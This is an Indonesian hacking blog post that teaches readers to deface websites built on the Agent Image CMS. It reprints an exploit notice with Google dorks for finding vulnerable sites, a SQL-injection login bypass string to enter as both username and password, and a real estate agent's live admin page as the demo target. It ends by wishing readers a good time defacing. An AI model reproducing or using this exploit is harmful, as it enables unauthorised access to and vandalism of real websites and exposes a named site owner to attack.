Deface Agent Image Admin Login bypass

FazLast Official Blog

FazLast Official Blog - Kali ini akan memberikan tutorial deface bypass admin yang terdapat pada CMS Agent Admin, Method Deface Agent Imager Login Bypass ini di temukan di CxSecurity.com, berikut Exploit, Dork dari method Deface Agent Image Bypass Admin Login.

[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]
[+] exploit title :  Agent Image Admin Login bypass
[+] Dork 1 : intext:"Design by Agent Image" inurl:ID=
[+] Dork 2 : inurl:request_appt.php?id=
[+] Vendor Homepage: https://www.agentimage.com
[+] Category: Webapps
[+] Tested on: WiN7_x64
[+] Exploit Author: r4j4z
[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]
[+] Proof of Concept
[+] find target
[+] Enter username and password with
[+] username : '=' 'or'
[+] password : '=' 'or'
[+] Admin Address : admin
[+] Demo : https://www.lisavancerealestate.com/admin
[+] [+] [+] [+] [+] [+] [+]
[+] persiansecurity [R4j4z]
[+] [+] [+] [+] [+] [+][+][+][+][+][+][+][+][+][+][+][+][+]

Di atas adlah Exploit Bypass Admin pada Cms Agent Image, selamat melakukan kegiatan deface kalian.